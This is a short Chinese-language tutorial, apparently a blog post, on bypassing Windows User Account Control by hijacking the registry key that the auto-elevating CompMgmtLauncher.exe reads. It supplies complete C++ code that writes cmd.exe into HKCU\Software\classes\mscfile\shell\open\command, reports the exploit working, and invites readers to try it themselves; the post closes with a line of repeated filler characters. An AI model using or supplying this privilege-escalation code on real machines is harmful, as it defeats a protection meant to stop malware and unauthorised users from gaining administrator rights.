有些系统程序在运行时,是不会触发UAC的,这类程序都为”白名单”程序,而我们就可以使用这类程序来进行Bypass UAC
1.
当CompMgmtLauncher.exe该程序启动时,会查询注册表Software\\classes\\mscfile\\shell\\open\\command的内容,并执行。
2.
代码实现如下:通过改写注册表即可完成
using namespace std;
void bypass(){
HKEY key;
LPCSTR lpszFileName = "C:\\Windows\\System32\\cmd.exe";
RegCreateKeyExA(HKEY_CURRENT_USER,"Software\\classes\\mscfile\\shell\\open\\command",0,NULL,0, KEY_WOW64_64KEY | KEY_ALL_ACCESS, NULL, &key, NULL);
if(key == NULL){
cout <<"Error" <<endl;
}
if(RegSetValueExA(key,NULL,0,(DWORD)REG_SZ,(BYTE*)lpszFileName,strlen(lpszFileName)+1)!= ERROR_SUCCESS){
cout <<"Error" << endl;
}
RegCloseKey(key);
}
int _tmain(int argc, _TCHAR* argv[])
{
bypass();
getchar();
return 0;
}
3.
在运行一下CompMgmtLauncher.exe看一下,发现已经成功运行cmd程序
4.
本文章通过很简单的方法即可Bypass UAC,具体线下可自行尝试。
凑字凑字凑字凑字凑字凑字凑字凑字凑字凑字凑字凑字凑字凑字凑字凑字凑字凑字凑字凑字凑字凑字凑字凑字凑字凑字凑字凑字凑字凑字凑字凑字凑字凑字凑字凑字凑字凑字